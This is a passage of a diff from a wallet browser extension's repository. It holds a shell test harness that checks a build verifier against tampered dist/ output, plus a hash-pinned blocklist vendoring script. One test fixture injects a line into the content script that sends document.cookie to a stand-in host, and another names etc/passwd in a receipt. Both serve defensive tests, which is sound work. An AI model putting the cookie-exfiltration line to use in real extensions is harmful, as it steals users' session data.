|
||||
esac
|
||||
|
||||
_status=0
|
||||
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
|
||||
|
||||
_ok=yes
|
||||
_why=""
|
||||
|
||||
if [ "$_status" -ne "$_want_status" ]; then
|
||||
_ok=no
|
||||
_why="exit status $_status, wanted $_want_status"
|
||||
fi
|
||||
|
||||
# Same discipline verify-build itself applies to grep: 0 and 1 are
|
||||
# answers, anything else is not, and must not be read as "no match".
|
||||
_g=0
|
||||
printf '%s\n' "$_out" | grep -q -F -e "$_want_text" || _g=$?
|
||||
case "$_g" in
|
||||
0) ;;
|
||||
1)
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }message did not contain: $_want_text"
|
||||
;;
|
||||
*)
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }grep exited $_g matching the message, so the
|
||||
message was never checked"
|
||||
;;
|
||||
esac
|
||||
|
||||
if [ "$_ok" = yes ]; then
|
||||
PASSED=$((PASSED + 1))
|
||||
echo " ok: $_name"
|
||||
return 0
|
||||
fi
|
||||
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_name"
|
||||
echo " $_why"
|
||||
echo " --- verify-build output ---"
|
||||
printf '%s\n' "$_out" | sed 's/^/ /'
|
||||
echo " --- end output ---"
|
||||
}
|
||||
|
||||
# --- cases ------------------------------------------------------------------
|
||||
#
|
||||
# Each runs with the fixture as its working directory. A case that regenerates
|
||||
# the receipt is saying "this is what the build emitted"; one that does not is
|
||||
# saying "the build emitted something else and this happened afterwards".
|
||||
|
||||
c_control() { :; }
|
||||
|
||||
c_trailing_space() {
|
||||
cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js "
|
||||
}
|
||||
|
||||
c_embedded_newline() {
|
||||
cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js$NEWLINE"
|
||||
}
|
||||
|
||||
c_dist_symlink() {
|
||||
mv dist dist.real
|
||||
ln -s dist.real dist
|
||||
}
|
||||
|
||||
c_unwalkable_subtree() { chmod 000 dist/chrome/src/content; }
|
||||
|
||||
c_dangling_symlink() {
|
||||
ln -s /nonexistent-target-for-test-verify-build dist/chrome/dangling.js
|
||||
}
|
||||
|
||||
c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
|
||||
|
||||
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
|
||||
|
||||
c_receipt_missing() { rm "$RECEIPT"; }
|
||||
|
||||
c_receipt_empty() { : >"$RECEIPT"; }
|
||||
|
||||
c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
|
||||
|
||||
c_receipt_bad_header() {
|
||||
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
|
||||
}
|
||||
|
||||
c_receipt_other_tree() {
|
||||
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
|
||||
}
|
||||
|
||||
c_receipt_path_with_space() {
|
||||
write_receipt
|
||||
printf 'file %s P dist/two words.js\n' \
|
||||
"0000000000000000000000000000000000000000000000000000000000000000" \
|
||||
>>"$RECEIPT"
|
||||
}
|
||||
|
||||
c_receipt_path_outside_dist() {
|
||||
write_receipt
|
||||
printf 'file %s P etc/passwd\n' \
|
||||
"0000000000000000000000000000000000000000000000000000000000000000" \
|
||||
>>"$RECEIPT"
|
||||
}
|
||||
|
||||
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
|
||||
|
||||
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_extra_file_with_marker() {
|
||||
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
|
||||
}
|
||||
|
||||
c_extra_file_no_marker() {
|
||||
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
|
||||
}
|
||||
|
||||
# The four demonstrated bypasses of the pre-receipt verifier.
|
||||
|
||||
# A 26-byte file whose entire content is the marker string used to verify ok.
|
||||
c_marker_only_stub() {
|
||||
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
|
||||
}
|
||||
|
||||
# The content script runs on every page the browser loads and was never read.
|
||||
c_tampered_content_script() {
|
||||
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
|
||||
>>dist/chrome/src/content/index.js
|
||||
}
|
||||
|
||||
# The manifest decides permissions and CSP and was never read either.
|
||||
c_tampered_manifest() {
|
||||
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
|
||||
>dist/chrome/manifest.json
|
||||
}
|
||||
|
||||
# A dist/ that has nothing to do with this build, carrying the right file
|
||||
# names and the right marker, offered against this build's receipt.
|
||||
c_foreign_dist() {
|
||||
rm -rf dist
|
||||
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
|
||||
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
|
||||
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
|
||||
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
|
||||
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
|
||||
printf 'body{color:#fff}\n' >dist/styles.css
|
||||
}
|
||||
|
||||
# Cases that state what the build itself emitted, and so regenerate the
|
||||
# receipt over the changed bytes.
|
||||
|
||||
c_no_marker() {
|
||||
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_both_markers() {
|
||||
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_marker_on_plain_file() {
|
||||
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
|
||||
>dist/chrome/src/content/index.js
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_debug_build() {
|
||||
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
|
||||
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_no_dist() { rm -rf dist; }
|
||||
|
||||
# --- dist discard -----------------------------------------------------------
|
||||
#
|
||||
# make build wraps every step of the release path in
|
||||
# script/discard-dist-on-failure, so a release build that fails removes dist/:
|
||||
# with AUTISTMASK_DEBUG=1 exported it has already emitted a complete, loadable
|
||||
# debug bundle whose every wallet uses the publicly committed test recovery
|
||||
# phrase, and a loud failure alone does not stop someone loading dist/chrome/
|
||||
# anyway. make build-debug is deliberately not wrapped.
|
||||
#
|
||||
# Both directions are asserted against the state of dist/ ON DISK after the run,
|
||||
# not against the exit status: a case reading only the status would keep passing
|
||||
# if the removal quietly stopped happening, which is the flip this exists to
|
||||
# catch. The wrapper runs against the fixture — its ROOT is the fixture, via the
|
||||
# symlink in the fixture's script/ — with trivial commands standing in for the
|
||||
# build steps, because what is under test is what happens after a step says no,
|
||||
# not the step.
|
||||
|
||||
# discard_case <name> <setup> <status> <gone|kept> <want> <unwanted> [cmd...]
|
||||
discard_case() {
|
||||
_dc_name="$1"
|
||||
_dc_setup="$2"
|
||||
_dc_want_status="$3"
|
||||
_dc_want_dist="$4"
|
||||
_dc_want="$5"
|
||||
_dc_unwanted="$6"
|
||||
shift 6
|
||||
|
||||
build_fixture
|
||||
if ! (cd "$FIXTURE" && "$_dc_setup") >/dev/null 2>&1; then
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_dc_name"
|
||||
echo " the case's own setup failed, so nothing was tested."
|
||||
return 0
|
||||
fi
|
||||
|
||||
_dc_status=0
|
||||
_dc_out="$(cd "$FIXTURE" &&
|
||||
"$FIXTURE/script/discard-dist-on-failure" "$@" 2>&1)" || _dc_status=$?
|
||||
|
||||
_ok=yes
|
||||
_why=""
|
||||
|
||||
if [ "$_dc_status" -ne "$_dc_want_status" ]; then
|
||||
_ok=no
|
||||
_why="exit status $_dc_status, wanted $_dc_want_status"
|
||||
fi
|
||||
|
||||
# The assertion this case exists for: what is on disk now.
|
||||
if [ -e "$FIXTURE/dist" ] || [ -h "$FIXTURE/dist" ]; then
|
||||
_dc_dist=kept
|
||||
else
|
||||
_dc_dist=gone
|
||||
fi
|
||||
if [ "$_dc_dist" != "$_dc_want_dist" ]; then
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }dist/ is $_dc_dist after the run, wanted"
|
||||
_why="$_why $_dc_want_dist"
|
||||
elif [ "$_dc_want_dist" = kept ] &&
|
||||
[ ! -f "$FIXTURE/dist/chrome/src/popup/index.js" ]; then
|
||||
# Kept has to mean intact: a dist/ emptied out is not one left alone.
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }dist/ survived but its emitted bundle did not"
|
||||
fi
|
||||
|
||||
_dc_check_message "$_dc_want" want
|
||||
_dc_check_message "$_dc_unwanted" unwanted
|
||||
|
||||
if [ "$_ok" = yes ]; then
|
||||
PASSED=$((PASSED + 1))
|
||||
echo " ok: $_dc_name"
|
||||
return 0
|
||||
fi
|
||||
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_dc_name"
|
||||
echo " $_why"
|
||||
echo " --- discard-dist-on-failure output ---"
|
||||
printf '%s\n' "$_dc_out" | sed 's/^/ /'
|
||||
echo " --- end output ---"
|
||||
}
|
||||
|
||||
# Require ($2 = want) or forbid ($2 = unwanted) a substring in the wrapper's
|
||||
# output, updating _ok and _why. An empty substring asserts nothing. Same grep
|
||||
# discipline as everywhere else here: 0 and 1 are answers, anything else means
|
||||
# the message was never checked.
|
||||
_dc_check_message() {
|
||||
[ -n "$1" ] || return 0
|
||||
|
||||
_dcm_g=0
|
||||
printf '%s\n' "$_dc_out" | grep -q -F -e "$1" || _dcm_g=$?
|
||||
case "$_dcm_g" in
|
||||
0)
|
||||
[ "$2" = unwanted ] || return 0
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }message contained: $1"
|
||||
;;
|
||||
1)
|
||||
[ "$2" = want ] || return 0
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }message did not contain: $1"
|
||||
;;
|
||||
*)
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }grep exited $_dcm_g matching the message, so the
|
||||
message was never checked"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# --- Makefile wiring --------------------------------------------------------
|
||||
|
||||
# The verifier cases above prove what verify-build does when it is told what to
|
||||
# expect, and the discard cases prove what the wrapper does with dist/. This
|
||||
# proves the Makefile wires both up — the mode as an argument, on a scrubbed
|
||||
# environment, identically whether or not AUTISTMASK_DEBUG is exported in the
|
||||
# shell that ran make, and the wrapper on the release path only. Read off
|
||||
# `make -n`, so no build runs.
|
||||
check_makefile_wiring() {
|
||||
if ! command -v make >/dev/null 2>&1; then
|
||||
SKIPPED=$((SKIPPED + 1))
|
||||
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
|
||||
echo " SKIP (make not found): Makefile wiring"
|
||||
return 0
|
||||
fi
|
||||
|
||||
# make build must ask for release, and must scrub the flag from the
|
||||
# verifier's environment, even when the caller has it exported.
|
||||
_wiring_case "make build passes --expect release" \
|
||||
build "verify-build --expect release"
|
||||
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
|
||||
build "env -u AUTISTMASK_DEBUG"
|
||||
_wiring_case "make build-debug passes --expect debug" \
|
||||
build-debug "verify-build --expect debug"
|
||||
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
|
||||
build-debug "env -u AUTISTMASK_DEBUG"
|
||||
|
||||
# The release path runs its steps through the wrapper, including the final
|
||||
# check-censored pass; the debug path runs none of them through it, which is
|
||||
# what keeps a failed debug build's dist/ on disk.
|
||||
_wiring_case "make build wraps its steps in discard-dist-on-failure" \
|
||||
build "script/discard-dist-on-failure"
|
||||
_wiring_case "make build wraps check-censored --require-dist too" \
|
||||
build "script/discard-dist-on-failure script/check-censored"
|
||||
_wiring_case_absent "make build-debug never discards its dist/" \
|
||||
build-debug "discard-dist-on-failure"
|
||||
}
|
||||
|
||||
# Run `make -n TARGET` with AUTISTMASK_DEBUG=1 exported, into _wc_out. Returns
|
||||
# non-zero, having already reported the failure, when make itself failed: a
|
||||
# recipe that could not be printed was never checked.
|
||||
_wiring_make_n() {
|
||||
AUTISTMASK_DEBUG=1
|
||||
export AUTISTMASK_DEBUG
|
||||
_wc_status=0
|
||||
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
|
||||
unset AUTISTMASK_DEBUG
|
||||
|
||||
[ "$_wc_status" -ne 0 ] || return 0
|
||||
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " make -n $_wc_target exited $_wc_status"
|
||||
return 1
|
||||
}
|
||||
|
||||
_wiring_case() {
|
||||
_wc_name="$1"
|
||||
_wc_target="$2"
|
||||
_wc_want="$3"
|
||||
|
||||
_wiring_make_n || return 0
|
||||
|
||||
_wc_g=0
|
||||
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
||||
case "$_wc_g" in
|
||||
0)
|
||||
PASSED=$((PASSED + 1))
|
||||
echo " ok: $_wc_name"
|
||||
;;
|
||||
1)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " make -n $_wc_target does not run: $_wc_want"
|
||||
;;
|
||||
*)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " grep exited $_wc_g, so the recipe was never checked"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# The inverse: the recipe must NOT run something.
|
||||
_wiring_case_absent() {
|
||||
_wc_name="$1"
|
||||
_wc_target="$2"
|
||||
_wc_want="$3"
|
||||
|
||||
_wiring_make_n || return 0
|
||||
|
||||
_wc_g=0
|
||||
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
||||
case "$_wc_g" in
|
||||
1)
|
||||
PASSED=$((PASSED + 1))
|
||||
echo " ok: $_wc_name"
|
||||
;;
|
||||
0)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " make -n $_wc_target runs: $_wc_want"
|
||||
;;
|
||||
*)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " grep exited $_wc_g, so the recipe was never checked"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
run_cases() {
|
||||
check_case "control: untouched dist passes" \
|
||||
no release 0 "2 bundle(s) $MARKER_OFF" c_control
|
||||
|
||||
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
|
||||
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
|
||||
|
||||
check_case "debug bundles under --expect release fail (make build with
|
||||
AUTISTMASK_DEBUG=1 exported)" \
|
||||
no release-envdebug 1 \
|
||||
"is $MARKER_ON but this build was told to expect" c_debug_build
|
||||
|
||||
check_case "debug bundles under --expect debug pass" \
|
||||
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
|
||||
|
||||
check_case "no --expect argument" \
|
||||
no no-expect 1 "no --expect argument." c_control
|
||||
|
||||
check_case "no --receipt argument" \
|
||||
no no-receipt 1 "no --receipt argument." c_control
|
||||
|
||||
check_case "--expect takes release or debug" \
|
||||
no bad-expect 1 "--expect takes release or debug" c_control
|
||||
|
||||
check_case "unknown argument" \
|
||||
no unknown-arg 1 "unknown argument: --force" c_control
|
||||
|
||||
check_case "receipt inside the tree it describes" \
|
||||
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
|
||||
|
||||
check_case "bundle replaced by a file containing only the marker" \
|
||||
no release 1 "does not contain the bytes this build emitted" \
|
||||
c_marker_only_stub
|
||||
|
||||
check_case "content script tampered with after the build" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/content/index.js does not contain the bytes" \
|
||||
c_tampered_content_script
|
||||
|
||||
check_case "manifest.json tampered with after the build" \
|
||||
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
|
||||
c_tampered_manifest
|
||||
|
||||
check_case "hand-written dist/ offered against this build's receipt" \
|
||||
no release 1 "does not contain the bytes this build emitted" \
|
||||
c_foreign_dist
|
||||
|
||||
check_case "extra file under dist/ carrying a marker" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
|
||||
c_extra_file_with_marker
|
||||
|
||||
check_case "extra file under dist/ carrying no marker" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
|
||||
c_extra_file_no_marker
|
||||
|
||||
check_case "extra file, trailing space in name" \
|
||||
no release 1 "is under dist/ but the build that just ran did not emit" \
|
||||
c_trailing_space
|
||||
|
||||
check_case "extra file, newline in name" \
|
||||
no release 1 "is under dist/ but the build that just ran did not emit" \
|
||||
c_embedded_newline
|
||||
|
||||
check_case "dist/ replaced by a symlink" \
|
||||
no release 1 "dist is a symlink, not a directory." c_dist_symlink
|
||||
|
||||
check_case "unwalkable subtree under dist/" \
|
||||
yes release 1 "enumerating dist/, so part of the tree" \
|
||||
c_unwalkable_subtree
|
||||
|
||||
check_case "dangling symlink under dist/" \
|
||||
no release 1 \
|
||||
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
|
||||
|
||||
check_case "symlink to a directory under dist/" \
|
||||
no release 1 \
|
||||
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
|
||||
|
||||
check_case "symlink aliasing an emitted bundle under another path" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
|
||||
|
||||
check_case "receipt missing" \
|
||||
no release 1 "is missing. build.js writes it" c_receipt_missing
|
||||
|
||||
check_case "receipt empty" \
|
||||
no release 1 "is empty, so the build wrote nothing to it" \
|
||||
c_receipt_empty
|
||||
|
||||
check_case "receipt unreadable" \
|
||||
yes release 1 "is not readable, so nothing was inspected." \
|
||||
c_receipt_unreadable
|
||||
|
||||
check_case "receipt is not a build receipt" \
|
||||
no release 1 "does not start with" c_receipt_bad_header
|
||||
|
||||
check_case "receipt from a different checkout" \
|
||||
no release 1 "was written by a build of a different tree" \
|
||||
c_receipt_other_tree
|
||||
|
||||
check_case "receipt names a path containing a space" \
|
||||
no release 1 "cannot be read back unambiguously" \
|
||||
c_receipt_path_with_space
|
||||
|
||||
check_case "receipt names a path outside dist/" \
|
||||
no release 1 "names a path that is not under dist/" \
|
||||
c_receipt_path_outside_dist
|
||||
|
||||
check_case "emitted file missing" \
|
||||
no release 1 \
|
||||
"names dist/chrome/src/popup/index.js, which does not exist." \
|
||||
c_emitted_missing
|
||||
|
||||
check_case "emitted file empty" \
|
||||
no release 1 "which is empty. An empty file" c_emitted_empty
|
||||
|
||||
check_case "emitted file unreadable" \
|
||||
yes release 1 \
|
||||
"on dist/chrome/src/popup/index.js, so its bytes were never read" \
|
||||
c_emitted_unreadable
|
||||
|
||||
check_case "emitted bundle carries no marker" \
|
||||
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
|
||||
c_no_marker
|
||||
|
||||
check_case "emitted bundle carries both markers" \
|
||||
no release 1 "carries both debug markers, so DEBUG was not resolved" \
|
||||
c_both_markers
|
||||
|
||||
check_case "marker on a file the build did not record as a bundle" \
|
||||
no release 1 "carries a debug marker but the build did not" \
|
||||
c_marker_on_plain_file
|
||||
|
||||
discard_case "a failed release build step removes dist/" \
|
||||
c_control 3 gone "dist/ WAS REMOVED" "" sh -c 'exit 3'
|
||||
|
||||
discard_case "a successful release build step leaves dist/ alone" \
|
||||
c_control 0 kept "" "REMOVED" true
|
||||
|
||||
discard_case "a failed release build step with no dist/ says there was none" \
|
||||
c_no_dist 3 gone "There was no dist/ to remove" "" sh -c 'exit 3'
|
||||
|
||||
discard_case "the wrapper given no command removes nothing" \
|
||||
c_control 1 kept "no command given" ""
|
||||
|
||||
check_makefile_wiring
|
||||
}
|
||||
|
||||
# --- main --------------------------------------------------------------------
|
||||
|
||||
# The harness cannot build a receipt without a digest, so a missing sha256
|
||||
# command is a failure here rather than a silent reduction in coverage.
|
||||
pick_sha256_tool() {
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
SHA256_CMD="sha256sum"
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
SHA256_CMD="shasum -a 256"
|
||||
elif command -v openssl >/dev/null 2>&1; then
|
||||
SHA256_CMD="openssl dgst -sha256 -r"
|
||||
else
|
||||
echo "test-verify-build: no sha256 command found (tried sha256sum," \
|
||||
"shasum, openssl), so no fixture receipt can be written" >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
[ -x "$VERIFY_BUILD" ] || {
|
||||
echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
|
||||
exit 1
|
||||
}
|
||||
[ -x "$DISCARD_DIST" ] || {
|
||||
echo "test-verify-build: $DISCARD_DIST is missing or not executable" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
echo "Testing script/verify-build failure modes..."
|
||||
pick_sha256_tool
|
||||
probe_permission_runner
|
||||
if [ "$PERM_ENABLED" = yes ]; then
|
||||
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
|
||||
"a mode-000 file)"
|
||||
fi
|
||||
|
||||
run_cases
|
||||
|
||||
if [ "$FAILED" -ne 0 ]; then
|
||||
echo "test-verify-build: $FAILED case(s) FAILED," \
|
||||
"$PASSED passed, $SKIPPED skipped" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ "$SKIPPED" -ne 0 ]; then
|
||||
cat <<EOF
|
||||
################################################################################
|
||||
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
|
||||
## This process is uid $(id -u), and no runner subject to file permissions was
|
||||
## available. Tried: $PERM_HOW.
|
||||
## Under root, chmod 000 stops neither find nor grep, so the permission cases
|
||||
## would have passed without testing anything. They were skipped, not counted:
|
||||
$SKIPPED_NAMES################################################################################
|
||||
EOF
|
||||
echo "test-verify-build: $PASSED case(s) passed," \
|
||||
"$SKIPPED SKIPPED AND NOT PROVEN (see the warning above)"
|
||||
return 0
|
||||
fi
|
||||
|
||||
echo "test-verify-build: $PASSED case(s) passed"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,105 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/vendor-blocklist: refresh the vendored phishing blocklist at
|
||||
# src/shared/phishingBlocklist.json from its upstream source. Our own extension
|
||||
# to scripts-to-rule-them-all.
|
||||
#
|
||||
# This is build-time repo tooling and is not shipped. It is the one place in
|
||||
# this repo that names the upstream project, because a source reference that
|
||||
# does not say what the source is cannot be verified by anyone; the artifact it
|
||||
# writes carries no names at all (see src/shared/domainHash.js).
|
||||
# script/check-censored reads the name back out of this file rather than
|
||||
# repeating it, so it stays defined exactly once.
|
||||
#
|
||||
# Run it deliberately, not on every build: the output is committed, and the
|
||||
# extension does no runtime fetching, so the shipped list is exactly as fresh as
|
||||
# the last time someone ran this and landed the result. Re-run it, land the
|
||||
# diff, cut a release; that is the whole refresh path.
|
||||
#
|
||||
# Pinned by content hash, twice over, as REPO_POLICIES.md requires. The commit
|
||||
# below is an immutable ref — the upstream default branch moves several times a
|
||||
# day and cannot be pinned — and UPSTREAM_SHA256 is the sha256 of the bytes that
|
||||
# commit serves. A mismatch is a hard failure: a vendoring step that accepts
|
||||
# whatever it is handed is a supply-chain hole, and this one feeds a security
|
||||
# warning shown to users.
|
||||
#
|
||||
# To move the pin: pick the new commit, run this with the new UPSTREAM_COMMIT
|
||||
# and an UPSTREAM_SHA256 you have not yet updated, and it will print the hash it
|
||||
# actually got. Verify that hash against the source independently before
|
||||
# recording it. Never copy the "actual" line in on trust.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
# Upstream, pinned 2026-08-17.
|
||||
UPSTREAM_ORG="MetaMask"
|
||||
UPSTREAM_REPO="eth-phishing-detect"
|
||||
UPSTREAM_COMMIT="6dddf74a87da3e1a0841f7ae0d1cb31aaf2c05db"
|
||||
UPSTREAM_FILE="src/config.json"
|
||||
UPSTREAM_SHA256="166d5b3504e8f4ed52eae37d3dd20c1a56efa0502bfb3dc957044ff8b5f1283f"
|
||||
|
||||
OUTPUT="src/shared/phishingBlocklist.json"
|
||||
|
||||
WORK=""
|
||||
|
||||
cleanup() {
|
||||
[ -z "$WORK" ] || rm -rf "$WORK"
|
||||
}
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
fail() {
|
||||
echo "vendor-blocklist: $*" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
sha256_of() {
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
sha256sum "$1" | cut -d' ' -f1
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
shasum -a 256 "$1" | cut -d' ' -f1
|
||||
else
|
||||
fail "neither sha256sum nor shasum is available, so the fetched
|
||||
source cannot be verified. Refusing to vendor unverified content."
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
command -v curl >/dev/null 2>&1 ||
|
||||
fail "curl is required to fetch the upstream list"
|
||||
command -v node >/dev/null 2>&1 ||
|
||||
fail "node is required to build the artifact; run script/bootstrap"
|
||||
|
||||
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-vendor-blocklist.XXXXXX")" ||
|
||||
fail "could not create a working directory"
|
||||
|
||||
url="https://raw.githubusercontent.com/$UPSTREAM_ORG/$UPSTREAM_REPO/$UPSTREAM_COMMIT/$UPSTREAM_FILE"
|
||||
echo "Fetching $url"
|
||||
curl -fsSL --proto '=https' --tlsv1.2 -o "$WORK/source.json" "$url" ||
|
||||
fail "the fetch failed, so nothing was vendored"
|
||||
|
||||
actual="$(sha256_of "$WORK/source.json")"
|
||||
if [ "$actual" != "$UPSTREAM_SHA256" ]; then
|
||||
fail "sha256 mismatch on the fetched source.
|
||||
expected: $UPSTREAM_SHA256
|
||||
actual: $actual
|
||||
The pinned commit is immutable, so the same commit serving different bytes
|
||||
means the content was substituted somewhere between upstream and here.
|
||||
Nothing was written. Do not update the expectation to match unless you have
|
||||
verified the new bytes independently."
|
||||
fi
|
||||
echo "Verified sha256 $actual"
|
||||
|
||||
node script/lib/build-blocklist.js "$WORK/source.json" "$WORK/out.json" ||
|
||||
fail "the transform failed, so nothing was written"
|
||||
|
||||
if [ -f "$OUTPUT" ] && cmp -s "$WORK/out.json" "$OUTPUT"; then
|
||||
echo "vendor-blocklist: $OUTPUT is already up to date"
|
||||
return 0
|
||||
fi
|
||||
|
||||
cp "$WORK/out.json" "$OUTPUT"
|
||||
echo "vendor-blocklist: wrote $OUTPUT (sha256 $(sha256_of "$OUTPUT"))"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,607 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/verify-build: assert that the regular files and symlinks under dist/
|
||||
# are exactly what the build that just ran emitted (other file types are out of
|
||||
# scope; see "What that does and does not establish" below), and that the
|
||||
# compiled DEBUG state of that output is the one the caller asked for. Our own
|
||||
# extension to scripts-to-rule-them-all, run at the end of make build /
|
||||
# make build-debug.
|
||||
#
|
||||
# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
|
||||
# phrase the output of wallet creation, so a release artifact built with it live
|
||||
# hands every new wallet to anyone who reads the repo. The test suite cannot see
|
||||
# this, because it loads src/shared/constants.js outside a bundle and takes the
|
||||
# fallback branch; the property only exists in the emitted output, so it has to
|
||||
# be asserted against the emitted output.
|
||||
#
|
||||
# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
|
||||
# taken from this script's environment. It used to be read from
|
||||
# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
|
||||
# exported in their shell could run the release target, get a debug build, and
|
||||
# have it verified green and exit 0. There is also no default: a caller that
|
||||
# does not say what it built gets a failure, because "no opinion" is not a
|
||||
# state this can check anything against.
|
||||
#
|
||||
# Why the provenance half exists: on its own, a marker grep proves nothing
|
||||
# about where the bytes came from. A 26-byte file containing only the marker
|
||||
# string used to verify ok; the content script and manifest.json were not read
|
||||
# at all; an entire hand-written dist/ passed. The list of files to check has
|
||||
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
|
||||
# emitted, with each file's sha256 and whether it is one of the bundles
|
||||
# containing src/shared/constants.js, and the Makefile creates that receipt
|
||||
# path fresh per invocation, outside the repo, and deletes it afterwards.
|
||||
#
|
||||
# What that does and does not establish. It establishes that dist/ is byte for
|
||||
# byte the output of the build.js run that just finished, with no regular file
|
||||
# or symlink added, missing or altered in between, and that the audited bundles
|
||||
# in it compiled to the requested mode. Regular files and symlinks are the whole
|
||||
# of what the tree walk covers; fifos, sockets, device nodes and empty
|
||||
# directories under dist/ are not checked, because a build emits none of them,
|
||||
# none can carry a shippable payload, and grep on a fifo would hang rather than
|
||||
# fail. It does NOT establish that the source tree or build.js were honest, and
|
||||
# it says nothing at all to someone handed a dist/ from elsewhere: without the
|
||||
# receipt from its own build they have no input to this check. That is signing,
|
||||
# and it is not this control.
|
||||
#
|
||||
# It fails rather than passes whenever it cannot determine something. Minified
|
||||
# output is not a stable contract, so "matched neither marker" is not evidence
|
||||
# of anything and must never read as green; the same discipline applies to
|
||||
# every read here, which is why a grep or a digest that could not be taken is
|
||||
# a hard failure and not an absence of a problem.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
